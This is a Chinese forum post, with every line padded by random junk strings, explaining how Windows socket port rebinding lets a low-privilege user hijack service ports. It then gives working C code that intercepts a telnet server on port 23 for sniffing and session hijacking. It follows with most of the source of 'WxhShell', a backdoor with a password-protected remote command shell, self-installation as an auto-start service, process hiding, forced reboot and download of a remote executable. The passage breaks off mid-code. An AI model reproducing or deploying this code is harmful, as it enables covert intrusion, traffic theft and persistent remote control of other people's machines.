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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &XCP@@T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :zY;eJKm  
f@[)*([  
  saddr.sin_family = AF_INET; F{^\vFp  
<@[;IX`YN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LcB+L](  
:{4C2qK>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \;KSx3o  
 q*94vo-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $41<ldJ  
}ice*3'3  
  这意味着什么?意味着可以进行如下的攻击: vKWi?}1  
K1o>>388G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l(Dr@LB~  
`Ns Q&G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g rCQ#3K*?  
~`="tzr:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -<9Qez)y  
Nu3gkIz5z-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $2+s3)  
D+BiclJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?|WoNA~j}`  
;Yv{)@'Bc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `wZ  
y5F"JjQAa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BMI`YGjY1  
Ghc U ~  
  #include %?, 7!|Ls  
  #include ZjY,k  
  #include ("F$r$9S  
  #include    %@)R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T+aNX/c|>  
  int main() !Z |_3  
  { 4_ypFuS^  
  WORD wVersionRequested; _>n)HG  
  DWORD ret; yf!7 Q>_G^  
  WSADATA wsaData; @$!6u0x  
  BOOL val; P3-O)m]jv  
  SOCKADDR_IN saddr; o.w/ ?  
  SOCKADDR_IN scaddr; _|W&tB *  
  int err; ?iV}U  
  SOCKET s; m mZP;  
  SOCKET sc; 'wtb"0 }  
  int caddsize; tzfyS#E  
  HANDLE mt; ij#v_~g3  
  DWORD tid;   S>r}3,]S  
  wVersionRequested = MAKEWORD( 2, 2 ); |vm-(HY!  
  err = WSAStartup( wVersionRequested, &wsaData ); }h1LH4  
  if ( err != 0 ) { q,<l3rIn  
  printf("error!WSAStartup failed!\n"); d}tmZ*q  
  return -1; )">#bu$  
  } he/rt#  
  saddr.sin_family = AF_INET; GF9[|). T  
   ']fyD3N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #pgD-0_  
'jMs&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .>}I/+n  
  saddr.sin_port = htons(23); jnbR}a=fJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wr:W}Z@pL  
  { I4+1P1z  
  printf("error!socket failed!\n"); 38m9t'  
  return -1; 5._QI/d)'J  
  } n0gjcDHQ  
  val = TRUE; H^5,];  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ULu@"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k{lo'  
  { 5Za<]qxr  
  printf("error!setsockopt failed!\n"); b;d7mh 4  
  return -1; 5%(whSKZF  
  } 2bLc57j{`9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [%R?^*]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t#_6GL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f4*(rX  
)m3emMO2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lg(G&ljE@k  
  { _<jU! R  
  ret=GetLastError(); ,mvFeo;@f  
  printf("error!bind failed!\n"); ,r~^<m  
  return -1; l3BN,HNv+  
  } l3u+fE,;_  
  listen(s,2); s.rQiD  
  while(1) 1 oKY7i$  
  { OmZZTeGg1s  
  caddsize = sizeof(scaddr); R!7--]Wcg  
  //接受连接请求 <dE~z]P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0sKo NzE  
  if(sc!=INVALID_SOCKET) 3BGcDyYE  
  { #:yAi_Ct  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N#jUqm  
  if(mt==NULL) 9z{}DBA  
  { [h-NX  
  printf("Thread Creat Failed!\n"); ROfV Y:,M  
  break; j DEym&-  
  } ZL0k  
  } EXjR&"R  
  CloseHandle(mt); w5)KWeGa  
  } L\"wz scn  
  closesocket(s); Fje /;p  
  WSACleanup(); '_Pb\ jK  
  return 0; .pe.K3G &  
  }   42hG }Gt  
  DWORD WINAPI ClientThread(LPVOID lpParam) *y|w9 r p  
  { 2?Ryk`2i)  
  SOCKET ss = (SOCKET)lpParam; p=eSJ*  
  SOCKET sc; "k  
  unsigned char buf[4096]; 2B6u) 95  
  SOCKADDR_IN saddr; Gs|a$^V|o  
  long num; g'T L`=O  
  DWORD val; 7b-[# g  
  DWORD ret; 9Z=hg[`]<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }j1;0kb?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4IB`7QJq  
  saddr.sin_family = AF_INET; .,(x7?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u81F^72U  
  saddr.sin_port = htons(23); {yT<22Fl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :.l\lj0Yf  
  { s0vcGh#w  
  printf("error!socket failed!\n"); Lw^%<.DM+t  
  return -1; QD^=;!  
  } rfQs 7S;G  
  val = 100; K iXD1Zpz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _C1u}1hW#  
  { K*'AjT9wX+  
  ret = GetLastError(); XPq`; <G  
  return -1; oa7 N6  
  } 5syzh S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Yz0HB EA  
  { -:L7iOzgD  
  ret = GetLastError(); -gC%*S5&  
  return -1; ho~WD'i  
  } L{&1w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gMq;  
  { ,g?M[(wtc  
  printf("error!socket connect failed!\n"); 0e]J2>  
  closesocket(sc); d/*EuJYin<  
  closesocket(ss); {[NQD3=+F  
  return -1; 1yU!rEH  
  } OEbZs-:  
  while(1) t VX|e2Y  
  { X3gYe-2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X%iqve"{nB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wT;;B=u}G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]k1N-/  
  num = recv(ss,buf,4096,0); d3T7$'l$  
  if(num>0) 9S'\&mRl  
  send(sc,buf,num,0); AlrUfSBB  
  else if(num==0) <>-gQ9  
  break; M_75bU  
  num = recv(sc,buf,4096,0); Ud>hDOJ3  
  if(num>0) hN1 [*cF  
  send(ss,buf,num,0); PiR`4Tu  
  else if(num==0) tC f@v'1t  
  break; ?&1%&?cg9  
  } rSW{1o'  
  closesocket(ss); SFsT^f<  
  closesocket(sc); sZqi)lo-s  
  return 0 ; G~*R6x2g  
  } aOoWB^;6  
[czWUD  
cY~lDLyB  
========================================================== uSC I  
r[j@@[)"  
下边附上一个代码,,WXhSHELL Cd p_niF  
Z$YG'p{S  
========================================================== d]=>U^K  
#&{)`+!"  
#include "stdafx.h" u6\W"LW  
=5%}CbUU)4  
#include <stdio.h> s\3ZE11L  
#include <string.h> ;lTgihW-  
#include <windows.h> <_bGV  
#include <winsock2.h> =*y{y)B^g  
#include <winsvc.h> b%X}{/n  
#include <urlmon.h> }_Sgor83n  
d +eb![fi  
#pragma comment (lib, "Ws2_32.lib") KHaYb5(a[  
#pragma comment (lib, "urlmon.lib") =E~SaT  
<sGioMr  
#define MAX_USER   100 // 最大客户端连接数 /h&>tYVio  
#define BUF_SOCK   200 // sock buffer ZhoB/TgdL  
#define KEY_BUFF   255 // 输入 buffer OW> >6zM  
iqXsD gkr  
#define REBOOT     0   // 重启 &hhxp1B  
#define SHUTDOWN   1   // 关机 Rg~[X5  
WPu%{/ [  
#define DEF_PORT   5000 // 监听端口 % =v<3  
*qIns/@  
#define REG_LEN     16   // 注册表键长度 *nUa0Zg4q6  
#define SVC_LEN     80   // NT服务名长度 O} lqY?0*  
a9nXh6  
// 从dll定义API AlgVsE%Va  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VD=F{|^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y:'c<k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jLul:* L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k1FG$1.  
~BI! l  
// wxhshell配置信息 hA"z0Fszh  
struct WSCFG { ue}lAW{q  
  int ws_port;         // 监听端口 1 7hXg"B  
  char ws_passstr[REG_LEN]; // 口令 0L7^Vr)  
  int ws_autoins;       // 安装标记, 1=yes 0=no G{|F V m  
  char ws_regname[REG_LEN]; // 注册表键名 jBd9  $`  
  char ws_svcname[REG_LEN]; // 服务名 MS%h`Ypo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rk?G[C)2c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !P_'n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kca  Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N%?8Bm~dP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" umiD2BRZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hN:2(x  
FkoN+\d  
}; v|>'m#Ln2  
jZ69sDhE  
// default Wxhshell configuration eJ$ {`&J  
struct WSCFG wscfg={DEF_PORT, TUd=qnu  
    "xuhuanlingzhe", |G-o&m"  
    1, 'P-FeN^  
    "Wxhshell", RK=YFE 0  
    "Wxhshell", W&a<Q)o*I  
            "WxhShell Service", {D&:^f  
    "Wrsky Windows CmdShell Service", K:sC6|wG  
    "Please Input Your Password: ", 1FC 1*7A[  
  1, a,p7l$kK  
  "http://www.wrsky.com/wxhshell.exe", ch}(v'xv(  
  "Wxhshell.exe"  qZP>h4  
    }; nr{ }yQ u  
DfP vi1  
// 消息定义模块 JE+{Vx}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RD p(Ci  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .gHL(*1P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ucok&)7-  
char *msg_ws_ext="\n\rExit."; KY;E.D`  
char *msg_ws_end="\n\rQuit."; N+ R/ti  
char *msg_ws_boot="\n\rReboot..."; 6~Xe$fP(  
char *msg_ws_poff="\n\rShutdown..."; ,t>/_pI+=  
char *msg_ws_down="\n\rSave to "; $yg}HS7HC  
[kq+a] q  
char *msg_ws_err="\n\rErr!"; )c<5:c  
char *msg_ws_ok="\n\rOK!"; ;;- I<TL  
kv3jbSKCT  
char ExeFile[MAX_PATH]; y#;@~S1W  
int nUser = 0; [mk!] r  
HANDLE handles[MAX_USER]; 0IjQqI  
int OsIsNt; F%QVn .  
uBC*7Mkm  
SERVICE_STATUS       serviceStatus; l4Y}<j\;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =zW.~(c{  
niN$!k+Jr  
// 函数声明 ^k?Ig.m  
int Install(void); =2[cpF]  
int Uninstall(void); 2myHn/%C  
int DownloadFile(char *sURL, SOCKET wsh); Z$5@r2d)  
int Boot(int flag); M0%):P?x  
void HideProc(void); "%Eyb\V!  
int GetOsVer(void); v0}.!u>Ww  
int Wxhshell(SOCKET wsl); r@(hRl1k'  
void TalkWithClient(void *cs); n.Q?@\}2  
int CmdShell(SOCKET sock); #| Et9  
int StartFromService(void); w_i$/`i+  
int StartWxhshell(LPSTR lpCmdLine); 8[;U|SR"  
_nj?au(@`Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SQbnn"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yN~: 3  
Jk7[}Jc$  
// 数据结构和表定义 GVp2| \-L  
SERVICE_TABLE_ENTRY DispatchTable[] = t=ry\h{Pc  
{ Hv1d4U"qM  
{wscfg.ws_svcname, NTServiceMain}, Mzxy'U V  
{NULL, NULL} ;dYpdy  
};  p68) 0  
Em R#)c~(W  
// 自我安装 `W[oLQ  
int Install(void) ]7^YPFc+  
{ ef!V EtEOv  
  char svExeFile[MAX_PATH]; .HG0%Vp  
  HKEY key; ,Tyh._sa  
  strcpy(svExeFile,ExeFile); c;bp[ Y3R  
dDy9yw%f?  
// 如果是win9x系统,修改注册表设为自启动 KyAQzN9  
if(!OsIsNt) { w_I}FPT<(:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Aj4i}pT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o^},L?  
  RegCloseKey(key); X Jy]d/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _A \c 6#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (byFr9z  
  RegCloseKey(key); '5eW"HGU]`  
  return 0; vV| u+v{  
    } sT3O_20{  
  } @Tzh3,F2  
} p9 |r y+t  
else { Rj% q)aw'  
U:xr['  
// 如果是NT以上系统,安装为系统服务 t{K1ht$[:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W6~B~L  
if (schSCManager!=0) [ua{qJ9  
{ ]pr;ME<M{  
  SC_HANDLE schService = CreateService nQvv'%v0   
  ( %c(':vI#  
  schSCManager, hun/H4f|  
  wscfg.ws_svcname, z@biX  
  wscfg.ws_svcdisp, I "9S  
  SERVICE_ALL_ACCESS, -`B|$ W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O- &>Dc  
  SERVICE_AUTO_START, #2&_WM!   
  SERVICE_ERROR_NORMAL, c0jC84*v  
  svExeFile, =8fp4# ]7  
  NULL, dM7-,9Vc  
  NULL, 5o2;26c  
  NULL, f|_iHY  
  NULL, 'LR5s[$j  
  NULL }dE0WJcO  
  ); m ^Btr  
  if (schService!=0) UMw1&"0:  
  { [:sV;37s  
  CloseServiceHandle(schService); $} 7/mS@c  
  CloseServiceHandle(schSCManager); ;Zc(qA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $q{-)=-BXQ  
  strcat(svExeFile,wscfg.ws_svcname); rRL:]%POT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SUfl`\O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +kQ$X{+;8  
  RegCloseKey(key); pVP CxP  
  return 0; {cKKTDN  
    } N/mTG2'<  
  } C jsy1gA  
  CloseServiceHandle(schSCManager); Fmk, "qs  
} hIC$4lR~  
} x2[A(O=  
FU~ Ip  
return 1; IiIF4 pQ,  
} ~(%nnG6x  
S!k cC-7  
// 自我卸载 3xh~xE  
int Uninstall(void) d?*=<w!A  
{ \:\rkc9LI  
  HKEY key; M"#xjP.  
S=ebht=  
if(!OsIsNt) { *K'(t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `$7j:<c=  
  RegDeleteValue(key,wscfg.ws_regname); O!kBp(?]  
  RegCloseKey(key); f 6Bx>lh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; 7[5%xM  
  RegDeleteValue(key,wscfg.ws_regname); +hRAU@RA  
  RegCloseKey(key); *obBo6!zM  
  return 0; TP[<u-@G  
  } ! iA0u  
} Uo<d]4p $  
} +glT5sOk  
else { [&y{z-D>  
{?17Zth  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kf>oZ*/  
if (schSCManager!=0) ~%B^`s  
{ Y'`w.+9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A$Mmnu%  
  if (schService!=0) {xp/1? Mo*  
  { vZmM=hW~  
  if(DeleteService(schService)!=0) { iZB?5|*  
  CloseServiceHandle(schService); ogH{   
  CloseServiceHandle(schSCManager); *f=H#  
  return 0; gN Xg  
  } b'4{l[3~nl  
  CloseServiceHandle(schService); {Tl5,CAz  
  } ?k]^?7GN  
  CloseServiceHandle(schSCManager); \vXo~_-&  
} {A2(a7vV  
} 8TZNvN4u  
_<|NVweFS  
return 1; 0{j] p^'<  
} htj:Z:C`  
hMh8)S  
// 从指定url下载文件 r1yz ?Y_P  
int DownloadFile(char *sURL, SOCKET wsh) M3c-/7  
{ h.E8G^}@  
  HRESULT hr; ;z/Z(7<; ;  
char seps[]= "/"; ;tP-#Xf  
char *token; $+!/=8R)  
char *file; SZW`|ajH  
char myURL[MAX_PATH]; B>WAlmPA  
char myFILE[MAX_PATH]; +1~Y2   
z;JyHC)  
strcpy(myURL,sURL); UmcPpZ  
  token=strtok(myURL,seps); '.r_6X$7Jt  
  while(token!=NULL) <spVUp  
  { A'HFpsa  
    file=token; L}pMjyM  
  token=strtok(NULL,seps); K>hQls+  
  } `h}fS4CO  
9q5jqFQ  
GetCurrentDirectory(MAX_PATH,myFILE); X]d;x/2  
strcat(myFILE, "\\"); A}v! vVg  
strcat(myFILE, file); L\)ssO uh  
  send(wsh,myFILE,strlen(myFILE),0); )-%3;e<w  
send(wsh,"...",3,0); 9&}$C]`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U,Ya^2h%  
  if(hr==S_OK) (pN:ET B  
return 0; /]zn8 d  
else mZQW>A]iE  
return 1; ,c<&)6FU]  
6e0tA()F  
} y_boJ  
Jw3VWc ]]  
// 系统电源模块 UKV0xl  
int Boot(int flag) YEH /22  
{ p'{B|ujj6  
  HANDLE hToken; ],#Xa.r  
  TOKEN_PRIVILEGES tkp; Oo^kV:.)  
MwbXZb{#"=  
  if(OsIsNt) { <ZO"0oz%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vea2 oQq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5]pvHc  
    tkp.PrivilegeCount = 1; #@FMH*?xX6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m:&go2Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h|qTMwPr  
if(flag==REBOOT) { R8|H*5T?+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Htl2CcZ  
  return 0; {o1 vv+i  
}  @oE^(  
else { 0z&]imU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E/[>#%@i  
  return 0; q@k/"ee*?  
} KUJCkwQ  
  } mq 0d ea  
  else { K!W7a~ @  
if(flag==REBOOT) { czNi)4x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \#Md3!MG  
  return 0;  2%4u/  
} o;#:%  
else { lTb4quf8I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ymH>] cUm  
  return 0; m1bkY#\ U|  
} [g )HoR=&  
} j.=&qYc0"  
h</,p49gM  
return 1; ]R%[cr  
}  FZL"[3  
WH|TdU$V  
// win9x进程隐藏模块 ZHu"& &  
void HideProc(void) >b\{y}[  
{ ;]v{3m  
|5il5UP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7v'aw"~  
  if ( hKernel != NULL ) J9aqmQj('  
  { 0'wchy>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xB5qX7*.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p>#sR4d>  
    FreeLibrary(hKernel); Q1kZ+b&  
  } XLHi  
}2xgm9j<  
return; e={ ?d6  
} `JQw]\f4>  
i~Qnw-^B  
// 获取操作系统版本 UHyGW$B  
int GetOsVer(void) qa-%j+  
{ &t)$5\r  
  OSVERSIONINFO winfo; jVlXB6[-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,~Y[XazT  
  GetVersionEx(&winfo); ]@Z[/z%~04  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r:{;HM+  
  return 1; K;8{qQ*  
  else <C1w?d$9I  
  return 0; edai2O  
} GVT| fE  
uNKf!\Y  
// 客户端句柄模块 J497 >w[  
int Wxhshell(SOCKET wsl) hMCf| e.UY  
{ #W$6[#7=I  
  SOCKET wsh; _tlr8vL  
  struct sockaddr_in client; 6~34L{u  
  DWORD myID; d+qeZGg^A  
Xsk/U++  
  while(nUser<MAX_USER) c T21  
{ f;D(X/"f]  
  int nSize=sizeof(client); @\U;?N~k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vzX%x ul  
  if(wsh==INVALID_SOCKET) return 1; PGd?c#v#  
J,G/L!Bp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .R^R32ln  
if(handles[nUser]==0) QXI#gA  =  
  closesocket(wsh); @[LM8 @:  
else nt:ZO,C:R  
  nUser++; :(Ak:  
  } Tuz~T _M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y sDai<  
%OJ"@6A  
  return 0; GvzaLEo  
} fJ  GwT  
Skl:~'W.&|  
// 关闭 socket @Os0A  
void CloseIt(SOCKET wsh) ;.66phe  
{ /Qu<>#[?  
closesocket(wsh); G>edJPfQ  
nUser--; 7aS%;EU  
ExitThread(0); r}:D g fn  
} RD6>\9  
I)\{?LdHR  
// 客户端请求句柄 6&"*{E  
void TalkWithClient(void *cs) dUQ )&Hv  
{ *5u3d`bW  
Alv"D  
  SOCKET wsh=(SOCKET)cs; 8UzF*gS  
  char pwd[SVC_LEN]; Xz?7x0)Z  
  char cmd[KEY_BUFF]; !q~f;&rg  
char chr[1]; 1! j^  
int i,j; hzk4SOT(  
xyP 0haE  
  while (nUser < MAX_USER) { },=ORIB B:  
N(e>]ui  
if(wscfg.ws_passstr) { a51}~V1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )j QrD`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ol1J1Zg  
  //ZeroMemory(pwd,KEY_BUFF); x*!*2{  
      i=0; ai<K6)  
  while(i<SVC_LEN) { e6>[ZC  
HHerL%/   
  // 设置超时 hWiHKR]  
  fd_set FdRead; e<{waJ1  
  struct timeval TimeOut; l\"CHwN?Y  
  FD_ZERO(&FdRead); ?e%u[Q0  
  FD_SET(wsh,&FdRead); 8M0<:p/  
  TimeOut.tv_sec=8; 29nMm>P.e  
  TimeOut.tv_usec=0; +W/{UddeKU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TtrV -X>L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dUBf.2 ry  
cj4o[l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _aU :[v*!  
  pwd=chr[0]; hltUf5m'b  
  if(chr[0]==0xd || chr[0]==0xa) { BI<(]`FP;s  
  pwd=0; J vl-=~  
  break; }R~C<3u\2  
  } .] 0:`Y,;  
  i++; *x)u9rO]  
    } dP<i/@21Wm  
8PqlbLo1  
  // 如果是非法用户,关闭 socket yjOZed;M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k~2FlRoC^  
} tI  
7H4\AG\>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @nnX{$YX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9&HaEAme  
EUq6) K  
while(1) { )afH:  
"^ aSONz  
  ZeroMemory(cmd,KEY_BUFF); 5k c?:U&  
p m<K6I  
      // 自动支持客户端 telnet标准   _ t.E_K  
  j=0; 4^*Z[6nt|  
  while(j<KEY_BUFF) { l$!Z};mw0E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S^N{=*  
  cmd[j]=chr[0]; /GO((v+J  
  if(chr[0]==0xa || chr[0]==0xd) { ~(L&*/c  
  cmd[j]=0; =y^ g*9}_  
  break; S/yBr`  
  } +O1=Ao  
  j++; S] 4RGWn  
    } ivSpi?   
?btX&:j2P  
  // 下载文件 ti<;>P[4  
  if(strstr(cmd,"http://")) { AHT(Z~ C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b%X<'8 z9Z  
  if(DownloadFile(cmd,wsh)) j'XND`3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X;{U?`b-  
  else Pk8(2fAYk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =T$2Qo8  
  } BOl*. t  
  else { P#/s5D8  
 ?QcS$i  
    switch(cmd[0]) { IFXnGDG$  
  'h> l_A  
  // 帮助 i7?OZh*f  
  case '?': { 4)9Pgp :  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); { !t6& A  
    break; L(/wsw~y*  
  } [3] h(D  
  // 安装 "^t;V+Io  
  case 'i': { R?] S<Z  
    if(Install()) ?'$} k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 08$l=  
    else "-Uqv@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >BjZ{7?Ok  
    break; hAB:;r XlI  
    } 3ZAzv en  
  // 卸载 `)H| &!wT  
  case 'r': { x&gS.b*  
    if(Uninstall()) !/"y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PkK#HD  
    else 8WwLKZ}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Egl1$,e  
    break; i;#AW($+a  
    } E;r~8^9)  
  // 显示 wxhshell 所在路径 ,27=i>>  
  case 'p': { ,*wj~NE  
    char svExeFile[MAX_PATH]; 6}_J;g\|  
    strcpy(svExeFile,"\n\r"); Bn Nu/02.=  
      strcat(svExeFile,ExeFile); ]Wc 2$  
        send(wsh,svExeFile,strlen(svExeFile),0); 7v(<<>  
    break; wHErF #xo  
    } Z.0mX#  
  // 重启 zQtx!k=  
  case 'b': { peU1 t:k?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l 4cTN @E  
    if(Boot(REBOOT)) 6 wD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eqh&<]q  
    else { +B OuU#  
    closesocket(wsh); 68!=`49r>  
    ExitThread(0); Z15b'^)?9  
    } 4hV~ ir  
    break; ulXe;2  
    } lJ<( mVt  
  // 关机 WtbOm  
  case 'd': { !7uFH PK-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;4(FS  
    if(Boot(SHUTDOWN)) ACH!Gw~  
